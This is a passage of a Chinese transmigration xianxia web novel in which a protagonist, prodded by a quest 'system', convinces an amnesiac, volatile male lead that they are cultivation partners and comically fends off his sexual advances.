晏兮剧烈地呛咳着,抬起泪眼朦胧的双眼,“你忘了吗,我们第一次相识是在后山的思过崖。那时你刚入门不久,性子孤僻又倔强,因为顶撞了一位师兄,被他带人刁难,发你去思过崖面壁七日,还不给饭吃。” 这不是假话,只是晏兮口中让叶暝去面壁的“师兄”正是原主,但晏兮没把这最关键的一点说出来。 谎言半真半假,才不容易叫人拆穿。 “我那时恰好路过,看你一个人站在崖边,明明饿得脸色发白,脊背却挺得笔直,我偷偷给你塞了灵食,起初你还不肯要,很是戒备地看着我。” “后来那位师兄变本加厉,在宗门小比上故意下重手想废你灵根,我看不过去,冲上台阻止了他,为此,我还被师尊罚抄了三个月的门规。” 晏兮观察着叶暝的反应,见他额角细微抽动,便再接再厉地胡诌:“就是从那次之后,你才开始慢慢接受我的靠近,你说......从来没人那样护过你。” “再后来我们常常一起修行,一起在栖云峰顶看日出云海,在星垂湖畔练剑,你的剑招还是我手把手矫正的。” 这种放在限制文男主身上绝对不可能发生的纯爱故事晏兮还能继续编。 但他适时地停下,露出往事不堪回首的落寞神情:“这些点点滴滴,你真的一点都想不起来了吗?” 揽月居陷入寂静,只有窗外风吹过树叶的沙沙声。 叶暝松开掐住晏兮脖颈的手,缓缓坐起。 似在琢磨晏兮的话可不可信,叶暝捻了捻刚才掐住晏兮脖颈的指尖,视线也停落在上面。 “听起来,以前的我,像个整天和你腻歪在一起,没有正经事可做的蠢货。” 晏兮:“......” 咋,把仇人丢妖兽窝里自己跑去开后宫玩n/p就正经了吗? “那我们是什么关系。经历了那么多,你仅仅是我师兄?”叶暝漆黑眼眸幽幽,如同在黑暗中也会发光的兽类,“我脑后的伤怎么来的?” 他杀意未完全褪去。 给晏兮一种仿佛说错一句,走错一步,自己的小命就会马上交代在这儿的预感。 “就几天前我们偷溜下山,遇到了厉害的妖兽,你为了护我受了很重的伤,流了好多血,我背着你赶了一夜的路才回到陨星山......没想到你居然会失忆。” 晏兮硬着头皮,心一横:“我们都到这份儿上了,怎么可能是只是单纯的师兄弟关系——我是你道侣!” 他紧盯着叶暝,“你知道道侣什么意思吧?” 叶暝没回答。他虽丧失了记忆,但基本认知并没有丢失。 他一瞬不瞬地盯着晏兮,心里在想,眼前的美人,是可以与他一起合修的人。 他们曾亲密无间,是可以一同修行,性命相交之人。 晏兮眼角眉梢都泛着红,脖颈上那圈刺目指痕是他亲手造成的。叶暝眼睫颤动,除了那股莫名的施虐欲,一种说不清道不明的情绪划过心头。 “我要怎么信你?” “我怎么可能拿这种事骗你。”晏兮脸不红心不跳道,“你看,你受伤后我怕晚上睡觉时压到你,特地把床让出来,自己打地铺,我对你这么好,怎么可能害你?何况我若真想害你,在你昏迷时有无数的机会下手!” 叶暝朝不远处的地板上掠了眼,嗤笑一声道:“道侣,就是用绳子把我像死狗一样栓床上?” “因为你昏迷了也不安分,我怕你乱动伤口恶化。” 你哪是死狗,你是栓了狗绳也能自己挣开的恶犬。晏兮继续理直气壮,“正因为我们是道侣,我才不可能对你动手,你也是,为刚才掐我一事道歉!” “......” 被叶暝那意味深长的一眼扫过,晏兮才后知后觉到自己有多胆大包天。 他疯了吗? 竟然敢让未来艹天日地的龙傲天给他道歉?! 要知道,这《逆仙邪尊》的“邪”字可不是白叫的!未来的叶暝就是个性格傲慢性/欲超强的变态,一言不合就开do,就算惹后宫们生气,字典里也根本没有道歉两个字,非常唯我独尊一个人。 晏兮悄悄往床里挪动,想说不道歉也行。 却见叶暝嘴唇嗫动,似在回味刚才这声称是自己道侣的美人那句带着点小脾气的嗔怪。 然后—— “对不起。”叶暝低声,“掐疼你了没?” 晏兮:“?” “你叫什么名字。”叶暝又问。 “......晏、晏兮。” “晏兮?” 叶暝脸色骤变,胸口那破损的灵核传来撕心裂肺的剧痛,牵连着紊乱的灵脉一同暴动! 记忆丧失,身体却替叶暝记住了“晏兮”这个名字带给他的痛苦。 他捂住心脉,额角青筋暴起,忍得手背关节都在发白。 晏兮从没见过有人能在瞬息间流淌出那么多冷汗,顿时吓了一跳:“叶叶叶叶暝,你怎么了?” 这是要变异了吗?! 叶暝抬起眼,那双因剧痛而显得更加幽深的眸子死死盯住他,挤出一个诡异而扭曲的笑容说:“敢骗我你就死定了。” 说完身体一歪,倒在晏兮身上昏厥过去。 ......说得好像不骗你我能活一样。 晏兮被叶暝沉重的身躯压得差点背过气,嫌弃地一把将人推开。 昏迷的叶暝的唇瓣擦着他的脖颈被挪开,晏兮条件反射打了个哆嗦。 忽听脑子里“叮”一声。 【检测到陨星山地图解锁进度20%;基础生命威胁已解除,积分+200。】 【宿主棒棒哒,继续加油哦~】 总算有点好消息了! 晏兮精神一振,赶紧在脑海里追问:“积分是可以解锁金手指功能的吧,快让我看看有哪些金手指!” 他仿佛已经看到了自己脚踩飞剑、手握神兵,远离叶暝然后潇洒跑路的未来。 系统界面应声在他意识中展开,流光溢彩,很是高端。 可当晏兮看清上面罗列的项目和后面那一长串零时,笑容凝固在脸上。 界面顶端是两个最为醒目的选项,正向晏兮散发着诱人却遥不可及的光芒。 【涅槃轮回】:需积分88,888,888+ 描述:身死道消?非也。此乃蜕故孳新之机,斩断旧因果,重铸新身份,于寂灭中得新生。 【界域穿行】:需积分99,999,999+ 描述:天地樊笼,困不住超脱之心。破碎虚空,横渡万界,寻觅归途或探索未知。 看不懂,但很厉害的样子。 晏兮:“有生之年我孙子的孙子能攒够这些积分吗?” 【宿主别灰心嘛~高级功能暂时无法企及,但凡事都有例外。而且我们还有亲民的道具和技能兑换哦,物美价廉,助力宿主在异界平稳起步!】 界面下滑,出现密密麻麻的低阶选项。 【清洁术·入门】:10积分(快速清洁自身及周身小范围) 【疾影符(一次性)】:30积分(短时间内提升速度50%) 【低阶防御阵法布置】:100积分(给你的小窝加个防盗门) 【凝水咒】:80积分(再也不用担心野外找不到水源啦!) 晏兮看了一会儿,不儿,这些小法术原主难道做不到? “原主怎么说也是陨星山掌门的首席大弟子啊,你是不是想坑我积分?” 系统:【这些是在宿主灵脉封闭时依然可以运用的小道具,万一哪天男主恢复记忆,宿主侥幸活下来,只是被捏爆灵核沦落为废人呢?】 晏兮:“......你再说一个‘只是’试试。” 能不能别咒我? 系统:【那宿主再看看这几个捏~】 【痛觉屏蔽(一次性)】:500积分(可屏蔽一次痛觉体验,但需注意,此效果仅作用于感官,实际对身体造成的伤害并不可逆。) 【傀儡娃娃】:1000积分(可作为灵宠进行培养,能够主动攻击或为宿主抵挡攻击。) 【瞬移术】:2000积分(可在百米范围内进行瞬间移动,是危急关头不可或缺的保命技能。) 晏·兜比脸干净·兮:竖中指.jpg 【哎呀,都说积少成多,只要宿主努力完成任务,很快就能兑换啦~】 晏兮捕捉到关键词:“什么任务?” 【当前支线任务:探索陨星山,提升地图解锁进度。每提升20%可获得相应积分奖励。】 【当前主线任务:维持“叶暝道侣”身份,并使其初步相信。任务完成度:30%。 后续任务将根据剧情发展及宿主选择触发。】 什么离谱的主线任务,你是龙傲天攻略系统吗喂?! 晏兮转向身旁昏迷中的叶暝,他编的那么真实,演的那么真情实感,结果叶暝现在才相信他30%,连一半都不到? 让这个多疑凶狠的限制文龙傲天完全相信和他有深仇大恨的“自己”是他的道侣...... 晏兮心说我啪叽一下死这儿。《 》 5、第五章 一整夜晏兮都无比后悔,再怎么样,说自己是失忆龙傲天的道侣是不是有点太扯了? 不过现在叶暝昏迷着,现在补刀,说不定还能把男主打回植物人。 这念头刚产生,系统在晏兮脑子里说:【主线任务已开启,当前任务期限为一年,若一年内宿主不能完成当前任务,宿主即被抹杀。 注:男主信任度≥70%。此任务期限将变成无期限。】 也就是说要等到叶暝对自己的信任度达到七十以上,才可以把他砸成植物人喽?晏兮真的栓q。 叶暝再次醒来时,天光已大亮。 心口那撕扯般的剧痛平息,关于过去的记忆一片空白。 他坐起身,冷戾眉眼闪过一丝迷茫,仿佛落难的狼王,环顾这间雅致冷清的居室,有关昨夜的记忆回笼。 ——陌生的环境,一个自称是他道侣,名叫晏兮的美人。 道侣?叶暝发出声嗤笑。 如若晏兮真是他道侣,为何在念到晏兮这个名字时,他会心若刀绞?仿佛是身体的本能反应在提醒他,要远离晏兮,别信他的鬼话。 “你醒了?” 一道翩翩身影拎着食盒走进来,叶暝闻声抬头。 “感觉怎么样,伤口还疼吗?” 青年望过来的眼神似乎充满心疼和担忧,纤细的脖颈上还残留着几道红色指痕,因为没经过处理以至于触目惊心。 叶暝没回答晏兮的话,接过递来的筷子坐到桌边。 “吃吧。”将还冒着热气的灵粥和小菜摆放在桌上,晏兮坐到叶暝对面,准备开动。折腾一晚上,他也饿了。 叶暝却没动,只是看着他:“你不喂我?” “噗——咳咳咳!”晏兮差点一口粥呛死,咳得满脸通红,“喂、喂你?!” 你是巨婴吗,是没hand吗? “我受伤了,行动不便。而且,若你真是我道侣,喂我吃饭,难道不是分内之事?”叶暝说这话时,脸上没什么表情,眼里却带着审视与试探,“我说的没道理吗?” 一般来讲,这时晏兮应该挤出温柔笑容,摆出人妻姿态,顺从地答应。 总之尽可能地把姿态放低,降低叶暝对自己的怀疑。 但晏兮偏不那么做。 我丫的穿书还不到三天你就差点掐死我两次,还想要我伺候你吃饭?想的美啊!! ヽ(≧□≦)/ “你以前从来不会这样要求我,也从来不会说这是我分内之事这种话......” 叶暝一愣。 “虽然我年长你几岁,但以前都是你照顾我的。倒也不是说我受了伤行动不便什么的,只是下意识地想对我好......” 说演就演,晏兮眼圈倏地通红,悄悄观察叶暝的反应。 见叶暝眉头越皱越紧,脸上写满“这怎么可能是我”的怀疑。晏兮心里暗笑,戏瘾顿时更足,抬起水光潋滟的眸子,哀怨地嗔了叶暝一眼。 “你说过会一直把我捧在手心里,现在你失忆了,就把这些都忘了吗?” 说着抽泣了一下,肩膀微微耸动,看起来伤心又脆弱。 他倒不是让男主一定相信自己的话,反正男主现在什么都不记得,隔应一下又没关系。 叶暝:“......” 虽然有关从前的记忆一片空白,但理智告诉叶暝,他不可能是晏兮口中描述的那种人! 然兴许是青年一身粉白衣裳戳在他了审美点上。 晏兮脖颈上的红痕,更在提醒他昨夜的粗暴,让名为内疚的情绪滋生。 叶暝沉默须臾,见晏兮还在那抽抽搭搭,忽然伸手,拿过晏兮面前的粥碗,语气硬邦邦道:“......别哭了,我喂你就是。” 这下轮到晏兮愣住。 他瞅瞅递到嘴边的勺子,内心卧了个大槽。 男主你这么好忽悠的吗?! 还要喂我?! “不用了,你失忆了,身上还有伤,现在换我照顾你是应该的。”心想着戏耍龙傲天好刺激,晏兮端起叶暝那碗粥,“等你伤好记忆恢复了,再像以前那样照顾我也不晚。” 晏兮舀起一勺喂到他唇边,款款深情,“你一定要尽快想起来啊。” 才怪,最好永远别想起来。 * “我年岁几何?” “十八。” “你呢?” “今年二十三。” “我们何时结为的道侣?” “呃,两三年前?” 闲聊至此,两人都默了默。 叶暝指骨轻叩了两下桌面,晏兮以为他要说什么老牛吃嫩草之类的损话—— “也就是说。”叶暝弯唇,“在我十五六岁,尚且懵懂之时,我就把你变成了我的?” 这暧昧的说法让晏兮脚趾扣地。 他自己都觉得扯,人不能早熟至此,至少不应该。 正想找补,却见叶暝敛眸,神色如常地端起了桌上的灵粥:“倒也像我会做出来的事。挺好,不愧是我。” 晏兮:“......” 这自大狂。 碗里的灵粥见底。 晏兮出门还一趟食盒的功夫,回到屋中就见叶暝睡下了,或者说晕了。不知道的还以为他被粥毒死了,但晏兮清楚叶暝是因为之前伤势太重,还没好全。 道玄清那一掌用了毕生灵力,叶暝被打中要害又没防备,加上脑袋磕到石头上的失忆症,引发了短暂昏厥。 但凡叶暝不是男主,换作任何一个配角,比如像晏兮这样的炮灰,早就魂归故里了。 等到晚上,叶暝又醒了。 叶暝如今年满十八,放现代不过刚成年的年纪,却拥有与年龄不符的成熟冷戾。 他盘膝直挺挺地坐在床榻上,听到开门的动静后没动,只微微转动眼珠,朝晏兮睨来。 刚从其他山峰逛回来晏兮:......这一幕太像植物人反复诈尸了。 “你去哪了?”天色已暗,屋内没亮烛火,叶暝半张脸隐在昏暗中,看不清表情。 “我毕竟是陨星山大师兄,当然有自己的事要做......” 不知道是不是错觉,这才过几个时辰,叶暝身上那股属于龙傲天的无形压迫感似乎又回来了。 晏兮定了定心神,“弟子练剑需要指导,宗门琐事也需要处理,倒是你,你感觉好些了吗?” 晏兮边说,边仔细观察着叶暝,生怕他想起来什么。 叶暝见他这般关心自己,放缓了语气说:“我无事。只是你今后要去什么地方,做什么事,都提前和我说一声。” “我如今什么都不记得,能指望的只有你。” 如果晏兮是兔子,这会儿已经用兔耳朵比中指了: 凭什么我事事都要和你报备?! 你算老几啊?! 转念一想,自己现在可是人家的“道侣”。 道侣失忆缺乏安全感,要求报备倒也无可厚非。 夜色渐深,揽月居内烛火摇曳。 叶暝注视着磨磨蹭蹭收拾地铺的晏兮的背影,眼神直勾勾的似乎要把晏兮洞穿。 “别弄了,今晚睡床上。” 晏兮闻言一僵,抱着被褥转身:“啊,这不太好吧?你伤还没好利索,我睡相不好,怕压着你伤口。” “无事,你过来。” 见晏兮脚下像生了根,挪不动步。 “为什么不过来?”叶暝道,“是因为面对失去记忆的我,你觉得陌生,所以不想靠近吗?” 这话听起来竟有几分委屈,但晏兮才不会心软,他又不真的是男主道侣,现在的一切都建立在谎言之上。 一旦叶暝恢复记忆,随时可能杀了自己。 只是想到自己这两天睡地板睡得腰酸背痛,加上一直拒绝反而显得可疑。 “怎么会呢?”晏兮慢吞吞地挪到床边,一切都是为了活着,“我只是担心你罢了。” 他小心躺在床外侧,尽量拉开与叶暝的距离,身体像一张拉满的弓绷得很紧。 叶暝似乎没察觉他的僵硬,吹灭烛火后自然地躺下。 鼻尖萦绕着一股从晏兮身上传来的淡淡香气,清新淡雅,像是桃花,泛着丝丝甜意。 叶暝往旁侧看去。 借着窗外渗入的稀薄月光,晏兮的侧颜清晰可见。 如墨染就的长发铺散在枕上,更衬得那露出的脖颈与脸颊肌肤莹白胜雪,仿佛上好的羊脂玉,在朦胧光线下泛着温润细腻的光泽。 晏兮五官生得极好,眉眼如画,鼻梁挺秀,往下的那双眼眸......叶暝记得,那双眼睛睁开时,瞳仁是那般清亮。含着水光望过来时,总能轻易牵动他心底莫名的情绪。 黑发雪肤,如玉般的美人。 胸口又传来一阵阵抽痛,但很快被眼前这昳丽景色引出的燥热所覆盖。这张脸,这个人,合该是被他拥在怀里,好好疼惜,甚至彻底占有。 占有...... 叶暝喉结不明显地滚动。 晏兮属于沾床就睡体质,原以为旁边躺着只失忆龙傲天会睡不着,谁知根本没有。 意识渐渐模糊,就在他即将梦会周公之际,感觉有一只温热的大手轻轻搭在了他的腰侧。 起初以为是叶暝无意识的动作,晏兮咕哝了一声没太在意。 直到那只手开始不轻不重地揉按,灵活地解开了他腰间系带,晏兮一个激灵清醒,抓住那只作乱的手。 “你干什么?!” 叶暝声线暗哑:“睡觉啊。” “睡觉你解我腰带干嘛?!” “你我不是道侣吗?”叶暝侧身面对晏兮,黑暗中他的眼眸亮得惊人,“既是道侣,夜间做些亲密之事难道不正常?” 正常个鸡儿! 我是你爹! 晏兮:“失去记忆了,你还记得具体该怎么做?” “我们可以一起摸索。” 叶暝低笑,用近乎天真的恶劣语气说:“这么一想,我现在的记忆一片空白,思想岂非如同处子?你不觉得兴奋吗,我很兴奋呢。” 哇,这是什么糟糕的台词? 不愧是限制文里的龙傲天,比系统骚多了。 系统缓缓抠出一个:【?】 禁止拉踩! “不行,你伤势未愈,元气有损,此时双修于你修为恢复大大不利。”晏兮一本正经道,按住叶暝蠢蠢欲动的手,“我是为你考虑,等你好了再说。” “双修,不应该更有助于我伤势恢复?” “假的,别信。” 怎可能是假的。 叶暝沉默好一会儿,闷闷地嗯了声。 念在美人如此关心他的份上,今晚不做也罢。 “那等我伤势好了再说。” 晏兮没把叶暝这话放心上。 他边系好腰带,边转移话题:“对了,你这些天都乖乖待在栖云峰,哪里都别去,知道吗?” 他得防着叶暝乱跑被陨星山的其他人发现,那他的谎言可就穿帮了。 “哦?”叶暝尾音微扬,又来了兴致,“我们不是道侣吗,为何要限制我的自由?” 他凑近了些,气息拂过晏兮的耳廓:“还是说,你要把我关起来?我们以前都是这么玩的吗?” “......别特么胡说!”晏兮脸有些发烫,“是因为你身体还没好,又没了记忆。如今陨星山上发生了很多对你不利的事情,你乱跑我怕你出事,被人欺负!” “对我不利的事?”叶暝笑容敛去,敏锐追问,“什么意思?” 晏兮抿紧了唇,不肯再说。 言多必失,他还没编好完整的剧本。 见他如此,叶暝骨子里的强势不经意流露:“我问你,你就该回答。” 然话音刚落,就见晏兮一秒红了眼眶,眸中水光潋滟:“你以前从来不会用这种语气对我说话的!” 叶暝:“......” 望见晏兮那副仿佛被欺负了的模样,心头那股逼问的劲头莫名就散了。 算了,跟一个深爱自己,现在还被自己凶哭了的美人计较什么。 “是我语气重了。” 道歉一回生二回熟。 空气静了片刻,叶暝用商量的语气问:“不过我能抱着你睡吗,有我抱着,你睡相再差也不会压到我伤口。” 晏兮尚且犹豫,就见叶暝露出可怜巴巴的表情:“连抱抱都不可以吗?让我抱抱吧师兄,我睡不着。” “......”撒什么娇。 总归只是抱抱,又不是抱艹。 晏兮点了点头。 于是叶暝长臂一伸,将他揽入怀中。 温香软玉在怀,鼻尖满是清甜桃花香。叶暝虽年少晏兮几岁,身形却比他高大许多,将怀中堪称娇小的人整个笼住。 他深吸了口气,缓慢闭上眼。 奇怪,明明想做的事未能得逞,心情却依然挺不错。 感受到叶暝确实没有进一步动作,晏兮紧绷的神经渐渐放松,竟也慢慢睡着了。 次日清晨,晏兮醒来时发现叶暝不在身边,匆忙起身,又在屋内屋外找了一圈,不见人影。 怎么又不见了?! “系统!叶暝人呢?!”晏兮抱头,“他不会恢复记忆知道我在驴他后打算搞波大的灭了陨星山吧?!” 【宿主别担心,目标人物叶暝并未离开陨星山范围。】 系统提示音紧接着又响起: 【叮——】 【检测到当前主线任务:维持“叶暝道侣”身份,并使其初步相信。任务完成度提升至40%。积分+300。】 晏兮:“?” 他还什么都没做,这信任度怎么又涨了? 叶暝干嘛去了??《 》 6、第六章 一个时辰前,叶暝睁开眼,定定瞧了晏兮好一会儿。 青年仍在熟睡,长睫在眼下投落阴影,呼吸清浅,粉白的衣襟微敞,露出一段纤细脆弱的锁骨。 如果这美人是在欺骗他,又怎么会如此泰然地在他怀中睡去? 曦光透过窗棂照在叶暝面上,却照不进那双晦暗难辨的眸子,收回直勾勾盯着晏兮的视线,伸手替他将滑落的被子往上拢了拢,动作是自己都未察觉的轻缓,悄无声息地下了榻。 叶暝并未老老实实待在栖云峰。 他对晏兮的话并非全信,失忆的猛兽本能地想要探查周围环境,确认自身安全。 以及最重要的,验证晏兮话中真伪。 若被他发现此人在骗他。呵。 叶暝尝试调动体内灵力,原以为记忆空白会使得灵力运转滞涩,没想到心念微动,一股深沉的力量自如地流淌于经脉之间。 然这“灵力”并非寻常修士的莹白或淡金,而是近乎纯粹的墨黑,隐隐间透出说不清的暴戾与阴冷。奇怪,既然他是陨星山弟子,修的是正道仙法,为何灵力会如此古怪? 许是他体质本就异于常人。暂且将这丝疑虑压下,叶暝隐匿气息,身影融入栖云峰外的晨雾之中。 陨星山占地广阔,峰峦叠嶂。叶暝避开人多之处,在各峰之间穿行。 无论气势恢宏的主殿、练剑堂传来的呼喝与剑鸣,还是弟子聚居的院落,对失去记忆的叶暝而言一切都很陌生。 在一处栽种着灵植的药圃附近,他听到一名蓝衣女子与几名洒扫弟子的闲聊。 “风师姐,生辰宴上晏师兄送了那么珍贵的礼物,他待您果然不同。” “是啊,晏师兄平日对谁都冷冷淡淡的,但唯独对风师姐您格外上心,上次您不过是随口提了句喜欢雪莲的清香,转头他就寻来了千年雪莲,这份心意我们可都看在眼里。” 晏师兄?他们在讨论晏兮? 叶暝隐在假山之后,在听到“晏师兄对风师姐格外上心”时,指尖无意识捻了捻。 风轻絮面颊微红,颇有少女怀春之相,耳边倏忽荡起上回晏兮那句坚定无比的:“我是钙”。 她:“......” 内心乱撞的小鹿撞死了。 “师兄他只是人好,对我多有照拂而已,你们别瞎猜。”风轻絮语气带着微妙的回避,可惜那洒扫弟子听不出来。 “照拂也分很多种嘛!我看晏师兄看您的眼神就不一样,你们一个是掌门爱徒,一个是长老爱女,简直是天造地设的一对!” 天造地设的一对? 叶暝面色陡变。洞黑的瞳孔在暗处闪着幽光,犹如充满攻击性的狼,无不恶意地盯着风轻絮窈窕的背影。 倘若这女子与晏兮关系当真如此亲近,门中弟子皆认为他们般配,那么自己这个凭空冒出的“道侣”又算什么? 那些“过往情深”,果然只是晏兮编造的谎言? 一股被愚弄的怒火混杂烦躁在叶暝心中升腾,指节捏得发白。 就在他要认定晏兮把他当蠢货耍的时候,风轻絮接下来的话却让他怔忡。 “都说了别胡说了!你们懂什么啊,大师兄他根本不喜欢女子的!” 这话如同惊雷,炸得先前起哄的弟子们呆若木鸡,也让暗处的叶暝骤然抬眸。 “什、什么?” “大师兄不喜欢女子?” 两名弟子讷讷道。 风轻絮意识到失言,晏师兄让他保密的话,她怎么能一个激动就说出来! 连忙左右看看:“不是,我瞎说的......干你们的活吧!我先走了。” 见风轻絮捂嘴匆匆离开,叶暝在原地岿然不动。 不喜欢女子,吗? 微风拂动叶暝的衣袍,他静静伫立片刻,转身,向陨星山的其他地方走去。 而每迈出一步,步履都比前一步更轻快些。 * 揽月居。 正在焦躁踱步的晏兮还在为脑中系统提示的持续上涨的信任度懵圈。 “我还什么都没做就又涨了,是你bug了还是他脑补了什么不得了的东西?” 【宿主,有时候,无为而治,胜过千言万语哦~看来男主自行脑补,哦不,是自行探索发现了一些“证据”呢!】 晏兮:“......” 虽然不知道发生了什么,但想必是好事? 既然信任度上涨了,晏兮觉得也不用太担心男主会突然从哪个角落窜出来刀他。 到晚上他实在闲得发慌,想起叶暝的伤,觉得当务之急是得找点好的疗伤药。 既然不能把男主打回植物人,那就只能另走他法,尽力拉好感咯~ 原主屋里肯定有存货,只是不知道藏在哪里。 “系统,原主有没有什么藏宝贝的秘密暗格?”晏兮在脑海里呼唤。 【宿主可以尝试在床底暗格、书架后的夹层,或者那个看起来最普通的衣柜底层看看哦~原主有点被害妄想症,喜欢把好东西藏起来。】 晏兮依言,开始在屋子里进行地毯式搜索。 腰塌下去,屁股翘起来,埋头在衣柜底层摸索:“不在这里吗?咦,有个凸起......啊,找到了!” 他拖出一个古朴沉重的木匣,打开来看,里面不仅有几个灵气盎然的玉瓶,还有几块品质上乘的灵石和一些看起来就不凡的符箓。 晏兮眼睛一亮,抱起那个装着最好伤药的小玉瓶转身。 差点一头撞上一堵结实的肉墙。 叶暝不知何时回来了,正悄无声息地站在他身后,眼眸晦涩地盯着他看。 “你走路没声音的啊!”吓得玉瓶差点脱手,晏兮面露嫌弃道,“让我出去时去哪跟你说一声,结果我叫你别乱跑,你非不听。你什么时候回来的?” 叶暝没有立刻回答。 满脑子都是刚才晏兮翘起屁股找东西的画面。 衣料往下垂,将那柔韧的腰线与浑圆的弧度勾勒得一览无余。 随着青年的动作,不自觉地左右轻轻晃动。 简直像一种无声的邀请。 “刚回。”那画面充斥脑海挥之不去,叶暝用低沉的嗓音问,“你在找什么?” “给你找药啊,你不是受伤了吗。”晏兮献宝似的把玉瓶递过去,煞有介事道,“你看,这可是上好的玉髓生肌膏,对内外伤都有奇效,我藏了好久都舍不得用呢。” 叶暝没有接药瓶,他伫立原地,沉沉地看着晏兮,忽然扣住他手腕,将人一把按在了旁边的梨花木桌沿。 身后是冰凉凉的桌面,身前是温热高大的躯体,晏兮整个人被圈在叶暝和桌子之间。 不儿,这什么情况?! “你干什么?!”晏兮惊得声音变了调,想要推开他,根本推不动,叶暝的手臂如同铁箍般有力。 叶暝俯身靠近,温热的气息拂过晏兮耳廓:“我的伤,已经好得差不多了。” “是吗,那太好了。”假装听不懂暗示,晏兮试图往后缩,却被桌子抵住,“好了就更该巩固一下,这瓶药——” “不必了。”叶暝打断他。 叶暝另一只手撑在桌面上,将晏兮完全笼罩在自己的影子里,笑意沉沉地道:“伤既已好,那是时候该做些道侣之间应该做的事情了。” 晏兮:? 做个雷霆。 谁答应了。 “要是不喜欢面对面,我允许你转过去。”叶暝仿佛施恩般,一副任你挑选喜欢的姿势架势,指尖蹭了蹭他泛红的耳尖,“我是在上面的那个吧,我一眼就看出来了。别怕师兄,我会轻点的。” 望着叶暝越来越近的脸和眼眸,晏兮鸡皮疙瘩掉一地,“等等,叶暝!” 叶暝不等,猩红舌尖在他耳廓上灵活舔过,狎昵地钻入那小巧敏.感的耳洞。 晏兮炸毛,尖叫声差点掀翻屋顶:“啊啊啊——你以前不是这样的!” 叶暝被吵得耳膜发疼,耐着性子问:“哦?那你说说看,以前的我是怎样的?” “以前的你总说道侣之间贵在真心,重在精神契合,绝不能单凭欲.望行事!” 宛如一只被狼爪按在身下的兔子,晏兮快吓飞了,“你说在你心里,我是最特别的,与其他人都不同,所以你绝不会像那些俗人一样只贪图身体之欢!” 叶暝沉默着。 面对晏兮泛红的眼圈,轻微颤抖的淡粉色唇瓣,以及那副仿佛被玷污了神圣信仰般的表情,扣住晏兮手腕的力道不自觉地松了些许。 他以前真是那样的正人君子? 这和他潜意识里躁动而直接的念头截然不同。 哪怕昨晚他做的梦,都是在摁着晏兮疏解。 莫非失去记忆,真的让他性情大变? “我说过的这些话,和我现在想要你有什么冲突?”叶暝退而求其次,“那不做到底,你让我亲,我自行用你的手疏解。” “不行!” “为何拒绝。”居然青涩至此,叶暝狐疑眯眼,“难道我们从未行过双修之事?” 晏兮:“算、算是吧。” “做过就是做过,没做过就是没做过,什么叫算是?”见他回答磕磕绊绊,男人逼近,鼻尖几乎相抵,“你不是我的道侣吗,为什么不做?” “我是你道侣啊,只、只是因为我们这方面不是很契合......” “什么?”叶暝沉眉追问,“谁不契合,谁有问题?” 他膝头恶意地向前顶了顶,让晏兮无法忽视那存在感惊人的灼热。 叶暝喉咙很渴,箭在弦上,他不想压抑自己,可道侣不愿的话,他不能强迫,因为他能想象到晏兮的反应,晏兮绝对会哭。 “就,就两个人都......”感受到不容忽视的堪称凶器的威胁,晏兮浑身颤巍巍,已经开始梦到哪句说哪句了,“就两个人都不太得劲儿!” “我们双修时根本没有任何感觉,我到现在都不知道灵肉交融,登临极乐是什么感觉。” 叶暝:“?” “而且做的时候通常是我在主动,谁让你欲望奇低,比那些修无情道的大能还要冷情。” 晏兮一股脑道:“我就喜欢你身上那股子比风止长老还要强的性缩力,那不经意流露出的养胃气质让我觉得,你就是我命中注定的另一半!” 系统汗颜提醒:【宿主,你这些现代话男主他根本听不懂。】 晏兮在颅内打了套组合拳:我管他听不听得懂,总之中心思想就一个! 他深吸一口气,闭眼大喊:“总之就是我们做的次数不多,就算做了我也是上面的那个,因为你——根!本!不!行!” 叶暝:“.........” 虽然那些“性缩力”、“养胃”听得他云里雾里,但结合上下语句和晏兮那痛心疾首的表情,想也知道绝非褒奖。 而最后那句“根本不行”,更是石破天惊,如同一道雷将叶暝从头劈到脚跟。 劈在了他身为人,尤其是身为一个男人的尊严之上。 ——比失去记忆更难以忍受的事情,出现了。《 》 7、第七章 对上叶暝阴沉至极的脸色,晏兮小心脏快吓跳出来,啊哦,情急之下好像不小心踩中了龙傲天的雷区。 但话已出口,已无回头之路。 “你非要做的话也不是不可以,让我在——” “上面”两字还没说出口,就被叶暝的低气压给堵了回去。那双黑眸像是淬了冰又像燃着火,仿佛要将他生吞活剥,晏兮下意识夹紧腿,伸手护住前方。 他可太清楚原著里男主是个什么德行了,失忆或许暂时蒙蔽了他的认知,骨子里的本性可没那么容易改变,强取豪夺才是他的本色。 真怕他说出什么“那我们现在就试试”之类的话,那晏兮只能认栽,试试就逝世了。 可许久过去,预想中的强制行为并没有发生。 叶暝胸膛剧烈起伏了几下,视线刀子似的一寸寸从晏兮身上刮过,捕捉到晏兮眼角那点生理性泪光,终是不甘地松开了对他的钳制。 获得自由的晏兮立马踉跄着后退,心有余悸地揉着自己手腕。 “嘶......” 不过是被攥了那么一会儿,白皙的腕骨上就浮现出一圈刺目的红痕。晏兮小声抽着气,暗骂男主一身牛劲儿不是人,余光里叶暝视线落过来,弯腰拾起地上的玉瓶,向他靠近。 手腕被搭上时,晏兮还以为他听到了自己在心底骂他,下意识将手一缩,却又被拉了回去。 叶暝手指蘸了点药,在晏兮被捏红的腕骨上不轻不重地揉开。 男人的动作算不上温柔,但也绝对不粗暴,将晏兮给的这瓶灵药又全数用回了他身上。 药膏触及皮肤,带来一丝舒缓。 涂完手腕,叶暝又转向他脖颈。 那里,几天前被他掐出的指印虽然淡了很多,但仍有些许青紫未消。微凉的手指刚触碰上去,晏兮便如被碰了尾巴的兔子一样瑟缩。 “坐好。”叶暝扣住他单薄的肩头,“不要乱动。” “可是好疼哦。”感受到那沾着乳.白色药膏的手指在敏感的颈侧皮肤上来回打圈涂抹。晏兮觉得这是个卖惨,啊不,是加深内疚的好机会。 “都怪你之前掐得太用力了,弄得我气都喘不上来,我要是就这么被你掐死怎么办?”晏兮指指点点。 本以为会看到叶暝露出一丝愧疚或懊恼,谁知对方连眼皮都没抬一下。 “掐不死,我心里有数,而且我根本没太用力。” “不可能,那我脖子上的指痕怎么到现在还没褪?”晏兮说。 青年脖颈又白又细,在光线下泛着如玉光泽。 指尖抵在上面,叶暝能想象出它被自己手掌完全圈住,被迫仰起头的样子。好似轻轻一折就会断掉。 施虐欲被挑起,偏偏还不能付诸于行动的结果就是,他那里快撑爆了,如今全凭意志忍耐,“......是你太娇气。” 一缕黑息从指尖飘出,无声无息钻入晏兮衣襟,晏兮没有察觉到。 叶暝面不改色地收回手,让晏兮将药瓶收好,并没有再进行任何“道侣该做之事”的尝试,这让晏兮暗自松了口气。 “其实我根本不是你的道侣吧?” 